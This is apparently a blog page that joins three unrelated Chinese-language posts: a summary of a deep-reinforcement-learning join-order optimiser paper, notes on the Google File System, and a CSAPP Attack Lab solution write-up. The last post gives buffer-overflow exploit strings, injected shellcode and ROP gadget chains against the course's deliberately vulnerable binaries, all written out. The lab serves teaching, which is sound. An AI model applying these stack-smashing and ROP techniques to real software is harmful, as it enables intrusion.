Learning to Optimize Join Queries With Deep Reinforcement Learning

Background

传统的多表 join 算法采用的是动态规划:

  1. 从初始 query graph 开始
  2. 找到 cost 最少的 join
  3. 更新 query graph 直到只剩下一个节点。但这种贪心策略并不会保证一定会选到合适的 join order,因为它只直观表示了每个 join 的短期cost。例如:

动态规划的结果 cost 为 140,而最优解的 cost 为 110。

Learning to Optimize Join Queries With Deep Reinforcement Learning 论文中将 join 问题表示为马尔可夫决策过程(MDP),然后构建了一个使用深度 Q 网络(DQN)的优化器,用来有效地优化 join 顺序。

Method

将连接排序表示为 MDP:

  • 状态G:a query graph
  • 动作c:a join
  • 下一个状态G’:join后的query graph
  • 奖励J(c):join的估算成本

用 Q-Learning 算法来解决 join 顺序 MDP。在 Q-Learning 中最关键的是得到 Q 函数 Q(G,c),它可以知道当前 query graph 中进行每个 join 的长期cost。如果我们可以访问真正的 Q(G,c),就可以对传统的动态规划进行改进:

  1. 从初始 query graph 开始
  2. 找到 Q(G,c) 值最小的 join
  3. 更新 query graph 直到只剩下一个节点,从而得到最优的 join order。实际上我们无法访问真正的 Q 函数,因此,我们需要训练一个神经网络,它接收 (G,c) 作为输入,并输出估算的 Q(G,c)。在论文中算法如下,给定query:

状态 G 和动作 c 的特征化

  1. query graph 中的每个关系的所有属性放入集合 A-G 中;join 左侧的所有属性放入集合 A-L 中;join 右侧的所有属性放入集合 A-R 中。并使用 1-hot 向量来编码。对于该例子,论文中表示如下:
  1. 对于查询中的每个选择,我们可以获得 selectivity ∈ [0,1](用来估计选择后存在的元组占选择前总元组的比例),我们需要根据 selectivity 的值去更新向量。例如:
  1. 还可以根据在物理计划中选择的具体 join 算法去产生新的 1-hot 向量(例如,IndexJoin 为 [1 0], HashJoin 为 [0 1]),与原向量进行串联,如下:

根据在论文 2.5 节的假设:

在这里我们就可以知道 query graph 特征 fG 为 fG = AG,join 决策特征 fc 为 fc = A-L ⊕ A-R,对于一个特定的元组(G,c)特征化为 fG ⊕ fc。

模型训练

DQ 使用多层感知机(MLP)神经网络来表示 Q 函数。它以(G,c)的最终特征化 fG ⊕ fc 作为输入。在实验中发现,两层的 MLP 可以提供最佳表现。模型使用随机梯度下降算法进行训练。

执行

训练后,在原有基础上再对多表 join 算法进行改进:

  1. 从初始 query graph 开始
  2. 使每个 join 特征化
  3. 找到模型估计的 Q 值最小的 join(即神经网络的输出)
  4. 更新 query graph 直到只剩下一个节点,从而得到最优的 join order。在执行过程中,还可以对 DQ 进行进一步微调。

Experiment Result

论文中使用了 Join Order Benchmark(JOB) 来评估 DQ。这个数据库由来自 IMDB 的 21 个表组成,并提供了 33 个查询模板和 113 个查询。查询中的连接关系大小范围为 5 到 15 个。当连接关系的数量不超过 10 个时,DQ 从穷举中收集训练数据。

将 DQ 与几个启发式优化器(QuickPick 和 KBZ)以及经典动态规划(left-deep、right-deep、zig-zag)进行比较。对每个优化器生成的计划进行评分,并与最优计划(通过穷举获得)进行比较。
此外,论文中设计了 3 个成本模型:

  1. Cost Model 1(Index Mostly):模拟内存数据库并鼓励使用索引连接
  2. Cost Model 2(Hybrid Hash):仅考虑具有内存预算的散列连接和嵌套循环连接
  3. Cost Model 3(Hash Reuse):考虑重用已构建的散列表

进行了 4 轮交叉验证后,确保仅对未出现在训练工作负载中的查询进行 DQ 评估(对于每种情况,论文中在 80 个查询上训练并测试其中的 33 个)。计算查询的平均次优性,即“成本(算法计划)/ 成本(最佳计划)”,这个数字越低越好。例如,对 Const Model 1,DQ 平均距离最佳计划 1.32 倍。结果如下:

在所有成本模型中,DQ 在没有指数结构的先验知识的前提下可以与最优解决方案一比高下。对于固定的动态规划,情况并非如此:例如,left-deep 在 CM1 中产生了良好的计划,但在 CM2 和 CM3 中效果没有那么好。同样,right-deep在 CM1 中没有竞争力,但如果使用 CM2 或 CM3,right-deep 不是最差的。需要注意的是,基于学习的优化器比手动设计的算法更强大,可以适应工作负载、数据或成本模型的变化。

此外,DQ 以比传统动态规划快得多的速度产生了良好的计划:

对于最大的连接(15),DQ 的速度是穷举的 10000 倍,比 zig-zag 快 1000 倍,比 left-deep 和 right-deep 快 10 倍。

Future work

本文研究中存在的不足:

  1. 奖励值(即J(c))依赖于数据库系统的代价模型,当代价估计错误时,算法的 join 计划无法达到最优
  2. 需要大量的 query 进行训练,估计的 Q 函数的值才能趋向稳定

可以拓展的思路:
同样使用强化学习,参考于 SkinnerDB: Regret-Bounded Query Evaluation via Reinforcement Learning,一条 join query 的执行框架如下:

查询时,Pre-Processor 首先通过一元谓词过滤基表,接着由 Join Processor 生成查询的连接顺序与执行结果,最后调用 Post-Processor 对结果进行分组、聚合与排序等操作。

Join Processor 包括 4 部分,Join Processor 将每个连接操作分为多个时间片,每个时间片首先由 Learning Optimizer 选择连接顺序,选中的连接顺序由特定的 Join Executor 执行,每次执行固定时长,并将执行结果加入结果集中。Progress Tracker 跟踪被处理的数据,最后由 Reward Calcultor 计算连接顺序的得分。当所有数据被连接后,完成连接操作。学习优化器使用强化学习领域的上限置信区间算法(UCT),在每个时间片中根据连接顺序的枚举空间生成搜索树,并选择一条路径。UCT 算法的特点即不依赖任何具体示例的参数设置,能够适用于较大的搜索空间。

该算法不需要任何查询上下文及 Cardinality 估计模型。

Google File System

背景

GFS 是 Google 针对大数据处理场景设计的分布式文件系统,Google 对数据量的持续增长的设想如下:

  • 需要能够运行在经常故障的物理机环境上。只有做到这点,这个系统才能运行在几百到上千台规模下,并采用相对便宜的服务器硬件
  • 大文件居多。存储在 GFS 上的文件的不少都在几个 GB 这样的级别
  • 大多数写是append写,即在文件末尾追加
  • 性能主要考量是吞吐而不是延时

接口

GFS 以目录树的形式组织文件,但是并没有提供类似 POSIX 标准的文件系统操作。操作只要包含 create, open, write, read, close, delete, append, snapshot,其中 snapshot 用于快速复制一个文件或者目录,允许多个客户端并行追加数据到一个文件。

架构

整体架构上,GFS 由单一的 master 节点、chunkserver 和提供给用户的 client 三大部分组成:

client 与 chunkserver 都不会缓存文件数据,为的是防止数据出现不一致的状况,但是 client 会缓存 metadata 的信息。

master

一方面存储所有的 metadata,负责管理所有的元信息,包括表示文件系统目录结构的 namespace、访问控制信息、文件与 chunk 的映射关系、chunk 的位置信息;另一方面管理 chunk 租约、chunk 迁移(如果 chunkserver 挂掉)、维护与 chunkserver 之间的心跳。

  • namespace 采用全内存的数据结构,以提高访问的吞吐
  • namespace 是一个查找表(lookup table),并且采用了前缀压缩的方式存储在内存中,它是一个树结构,树中每一个节点(文件名或目录名)都有一个读/写锁。在对文件或目录操作的时候需要获取锁,例如修改 /root/foo/bar,需要获得 /root/root/foo 的读锁,/root/foo/bar 的写锁
  • master 本身并不记录 chunk 的位置,而是在启动的时候,通过收取 chunkserver 的信息来构建。这种设计避免了 master 和 chunkserver 的信息不一致的问题(因为以 chunkserver 为准)
  • master 和 chunkserver 通过定期心跳来保持信息同步、感知 chunkserver 故障等
  • master 往磁盘上写操作日志,并将这些日志同步到其他物理机保存的方式来确保数据安全性。当前 master 机器故障的时候,可以通过这些日志和 chunkserver 的心跳内容,可以恢复到故障前的状态
  • 对于操作日志,会定期在系统后台执行 checkpoint;checkpoint 构建成一个类似B+树、可以快速的 load 到内存中直接使用的结构
  • master 需要定期检查每个 chunk 的副本情况,如果副本低于配置值,就需要将通知 chunkserver 进行复制;如果存在一些多余的 chunk (file 已经被删除了),就需要做一些清理工作

chunkserver

每个 chunk 有一个 64 位标识符(chunk handle),它是在 chunk 被创建时由 master 分配的,每一个 chunk 会有多个副本,分别在不同的机器上,每个副本会以 Linux 文件的形式存储在 chunkserver 的本地磁盘上。
GFS 中将 chunk 的大小定为 64 MB,它比一般的文件系统的块大小要大。优点:减少 metadata 的数量、减少 client 与 master 的交互、client 可以在一个 chunk 上执行更多的操作,通过 TCP 长连接减少网络压力;缺点:如果在一个 chunk 上有一个可执行文件,同时有许多 client 都要请求执行这个文件,它的压力会很大。
chunk 的位置信息在 master 中不是一成不变的,master 会通过定期的 heartbeat 进行更新,这样做能够减小开销,这样做就不用 master 与 chunkserver 时刻保持同步通信(包括 chunkserver 的加入、退出、改名、宕机、重启等)。chunkserver 上有一个 final word,它表示了哪个 chunk 在它的磁盘上,哪个 chunk 不在。

一致性模型

defined:状态已定义,从客户端角度来看,客户端完全了解已写入集群的数据
consistent:客户端来看chunk多副本的数据完全一致,但不一定defined

  • 串行写:客户端自己知道写入文件范围以及写入数据内容,且本次写入在数据服务器的多副本上均执行成功,每个客户端的写操作串行执行,因此最终结果是 defined
  • 并行写:每次写入在数据服务器的多副本上均执行成功,所以结果是 consistent,但客户端无法得知写操作的执行顺序,即使每次操作都成功,客户端无法确定在并发写入时交叉部分,所以是 undefined
  • 追加写:客户端能够根据 offset 确切知道写入结果,无论是串行追加还是并发追加,其行为是 defined,追加时至少保证一次副本写成功,如果存在追加失败,则多个副本之间某个范围的数据可能不一致,因此是 interspersed with inconsistent

GFS 租约

GFS 使用租约机制 (lease) 来保障 mutation (指的是改变了 chunk 的内容或者 metadata,每一次 mutation 都应该作用于所有的备份) 的一致性:多个备份中的一个持有 lease,这个备份被称为 primary replica (其余的备份为 secondary replicas),GFS 会把所有的 mutation 都序列化(串行化),让 primary 执行,secondary 也按相同顺序执行,primary 是由 master 选出来的,一个 lease 通常 60 秒会超时。

写流程

  1. client 向 master 请求持有 lease 的 chunk (primary replica) 位置和其他 replicas 的位置(如果没有 chunk 持有 lease,那么 master 会授予其中一个 replica 一个 lease)
  2. master 返回 primary 的信息和其他 replicas 的位置,然后 client 将这些信息缓存起来(只有当 primary 无法通信或者该 primary replica 没有 lease 了,client 才会向 master 再次请求)
  3. client 会将数据发送到所有的 replicas,每个 chunkserver 会把数据存在 LRU 缓存中
  4. 在所有的 replicas 都收到了数据之后,client 会向 primary 发送写请求。primary 会给它所收到的所有 mutation 分配序列号(这些 mutation 有可能不是来自于同一个 client),它会在自己的机器上按序列号进行操作
  5. primary 给 secondaries 发送写请求,secondaries 会按相同的序列执行操作
  6. secondaries 告知 primary 操作执行完毕
  7. primary 向 client 应答,期间的错误也会发送给 client,client 错误处理程序 (error handler) 会重试失败的 mutation

读流程

  1. client 向 master 发出 A 文件的读请求

  2. master 收到后返回 A 文件的 chunk handler 和 chunk 的位置

  3. client 携带 chunk handle 以及位偏移向对应的 chunkserver 发出请求

  4. chunkserver 读取并返回数据至 client

参考

  1. Ghemawat, Sanjay, Howard Gobioff, and Shun-Tak Leung. “The Google file system.” (2003).

Attack Lab

本文记录 CSAPP 的 Attack Lab 完成方案。

1. ctarget 部分

Level 1

level 1 要求我们在 getbuf 输入字符串后,利用溢出来重写栈中 getbuf 函数返回的地址,让函数调用 touch1

1
2
3
4
5
6
7
0000000000401713 <getbuf>:
401713: 48 83 ec 38 sub $0x38,%rsp
401717: 48 89 e7 mov %rsp,%rdi
40171a: e8 3b 02 00 00 callq 40195a <Gets>
40171f: b8 01 00 00 00 mov $0x1,%eax
401724: 48 83 c4 38 add $0x38,%rsp
401728: c3 retq

根据这段汇编代码我们可以确定,getbuf 在栈中分配了0x38比特的内存来存储输入的字符串。如果我们输入的字符串长度超过 56,就可以覆盖掉 getbuf 的返回地址了,所以,我们只需要把输入的第 56-63 个字符填写为 touch1 函数的地址就行了。
需要注意的是,我们输入的字符应该用两位十六进制数来表示,然后通过 hex2raw 来将其转换成字符串。另外,我这里数据都是用小端法来保存的,所以低位在前:

1
2
3
4
5
6
7
8
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
29 17 40 00 00 00 00 00

Level 2

level 2 要求我们注入我们自己写的代码,并把程序转移到我们写的代码处运行,也就是执行 touch2
如何通过我们的代码跳转到 touch2 函数?
首先,我们需要找到缓冲区的起始地址,在 getbuf 处打断点,查看 $rsp

1
2
(gdb) p $rsp
$1 = (void *) 0x5565fd40

可以知道,0x5565fd40 - 0x38 = 0x5565fd08 就是缓冲区的起始地址,我们需要和前面的 level 1 一样,让缓冲区溢出,56-63 个字符填写为缓冲区的起始地址,另外在缓冲区的起始处注入我们自己写的代码,这样程序才能执行我们想要的结果。
我们注入的代码逻辑应该是:

  • cookie 值赋给 %edi 作为 touch2 函数的参数
  • touch2 函数的地址入栈
  • ret,让函数执行 touch2

转为汇编就是:

1
2
3
movl $0x2a2e4a08, %edi
pushq $0x0000000000401755
ret

这里需要用到 gcc 内联汇编的方法,编写 level2.c :

1
2
3
4
5
6
7
8
9
10
int main(void)
{
asm
(
"movl $0x2a2e4a08, %edi\n\t"
"pushq $0x0000000000401755\n\t"
"ret"
);
return 0;
}

编译并查看其反汇编代码:

1
2
gcc level2.c -o level2.out
objdump -d level2.out

可以看到我们想要的汇编代码:

1
2
3
4004f1:       bf 08 4a 2e 2a          mov    $0x2a2e4a08,%edi
4004f6: 68 55 17 40 00 pushq $0x401755
4004fb: c3 retq

那么我们在缓冲区注入字符就是:

1
2
3
4
5
6
7
8
bf 08 4a 2e 2a 68 55 17 
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
08 fd 65 55 00 00 00 00

Level 3

level 3 要求我们执行 touch3touch3 接收的参数是 cookie 的字符串的地址。
有了 level 2 的经验,我们知道需要在 56-63 个字符填写缓冲区的起始地址,另外在缓冲区的起始处注入我们自己写的代码。我们把 cookie 字符串放在第 64-71 个字符,这样,我们注入的代码就是:

1
2
3
movl $0x5565fd48, %edi
pushq $0x0000000000401829
ret

0x5565fd08 + 64 = 0x5565fd48cookie 字符串的地址,0x0000000000401829touch3 函数地址。同样地,用 gcc 内联汇编的方法得到汇编代码,最终我们在缓冲区注入字符就是:

1
2
3
4
5
6
7
8
9
bf 48 fd 65 55 68 29 18 
40 00 c3 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
08 fd 65 55 00 00 00 00
32 61 32 65 34 61 30 38

2. rtarget 部分

Level 2

与之前的 level 2 相同,我们需要为 %rdi 赋上 cookie 值,再跳转到 touch2 函数执行,跳转到 touch2 只需要将 touch2 的入口地址放在最后一个 gadget 之后,在它的 ret 指令执行之后就会返回到 touch2 中。
查看 farm.s

1
2
3
000000000000001b <getval_188>:
1b: b8 3c cd 58 c3 mov $0xc358cd3c,%eax
20: c3 retq

58 c3 对应 popq %rax,这条指令的地址是 0x1b + 3 = 0x1e

1
2
3
0000000000000028 <setval_279>:
28: c7 07 48 89 c7 c3 movl $0xc3c78948,(%rdi)
2e: c3 retq

48 89 c7 c3 对应 movq %rax,%rdi,这条指令的地址是 0x28 + 2 = 0x30
再查看 rtarget.s

1
2
3
00000000004018b1 <start_farm>:
4018b1: b8 01 00 00 00 mov $0x1,%eax
4018b6: c3 retq

start_farm 的起始地址是 0x4018b1。所以 popq %rax 这条指令最终的地址是 0x1e + 0x4018b1 = 0x4018cf;所以 movq %rax,%rdi 这条指令最终的地址是 0x30 + 0x4018b1 = 0x4018e1
level 2(rtarget) 最终结果为:

1
2
3
4
5
6
7
8
9
10
11
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
cf 18 40 00 00 00 00 00 /* popq %rax */
08 4a 2e 2a 00 00 00 00 /* 将 cookie 存入 %rax */
e1 18 40 00 00 00 00 00 /* movq %rax,%rdi */
55 17 40 00 00 00 00 00 /* 返回到 touch2 */

Level 3

与之前的 level 3 相同,需要将 %rdi 指向 cookie 的字符串表示的首地址。我们需要把 cookie 字符串放在高地址,根据 %rsp 和偏移量去取地址。
farm.s 中:

1
2
3
0000000000000042 <add_xy>:
42: 48 8d 04 37 lea (%rdi,%rsi,1),%rax
46: c3 retq

lea (%rdi,%rsi,1) %rax 就是 %rax = %rdi + %rsi,所以,只要能够让 %rdi%rsi 其中一个保存 %rsp,另一个保存偏移量,就可以计算出 cookie 存放的地址,然后 movq %rax,%rdi 再调用 touch3 就可以了。
所以,分两步走:先保存一个栈顶地址,这里我通过 %rsp -> %rax -> %rdi 保存到 %rdi 中,再将偏移量通过 %eax(%rax) -> %ecx -> %edx -> %esi 保存到 %esi(%rsi) 中。注意,偏移量的值需要等所有指令写完后才能确定。
level 3(rtarget) 最终结果为:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
1e 19 40 00 00 00 00 00 /* movq %rsp,%rax (48 89 e0) */
e1 18 40 00 00 00 00 00 /* movq %rax,%rdi (48 89 c7) */
cf 18 40 00 00 00 00 00 /* popq %rax (58) */
/* %rdi中保存的是 movq %rsp,%rax 这条指令的栈顶地址,所以最终偏移量为 0x48 */
48 00 00 00 00 00 00 00 /* 偏移量 */
58 19 40 00 00 00 00 00 /* movl %eax,%ecx (89 c1) */
7a 19 40 00 00 00 00 00 /* movl %ecx,%edx (89 ca) */
0c 19 40 00 00 00 00 00 /* movl %edx,%esi (89 d6) */
f3 18 40 00 00 00 00 00 /* add_xy */
e1 18 40 00 00 00 00 00 /* movq %rax,%rdi (48 89 c7) */
29 18 40 00 00 00 00 00 /* touch3地址 */
32 61 32 65 34 61 30 38 /* 目标字符串 */

最终结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
[root@iZbp10zyqxzc2aoa1tgk8iZ target53]# ./hex2raw < 2017302580193-ctarget.l1 | ./ctarget
Cookie: 0x2a2e4a08
Type string:Touch1!: You called touch1()
Valid solution for level 1 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[root@iZbp10zyqxzc2aoa1tgk8iZ target53]# ./hex2raw < 2017302580193-ctarget.l2 | ./ctarget
Cookie: 0x2a2e4a08
Type string:Touch2!: You called touch2(0x2a2e4a08)
Valid solution for level 2 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[root@iZbp10zyqxzc2aoa1tgk8iZ target53]# ./hex2raw < 2017302580193-ctarget.l3 | ./ctarget
Cookie: 0x2a2e4a08
Type string:Touch3!: You called touch3("2a2e4a08")
Valid solution for level 3 with target ctarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[root@iZbp10zyqxzc2aoa1tgk8iZ target53]# ./hex2raw < 2017302580193-rtarget.l1 | ./rtarget
Cookie: 0x2a2e4a08
Type string:Touch2!: You called touch2(0x2a2e4a08)
Valid solution for level 2 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!
[root@iZbp10zyqxzc2aoa1tgk8iZ target53]# ./hex2raw < 2017302580193-rtarget.l2 | ./rtarget
Cookie: 0x2a2e4a08
Type string:Touch3!: You called touch3("2a2e4a08")
Valid solution for level 3 with target rtarget
PASS: Sent exploit string to server to be validated.
NICE JOB!

repo

My solutions to CSAPP labs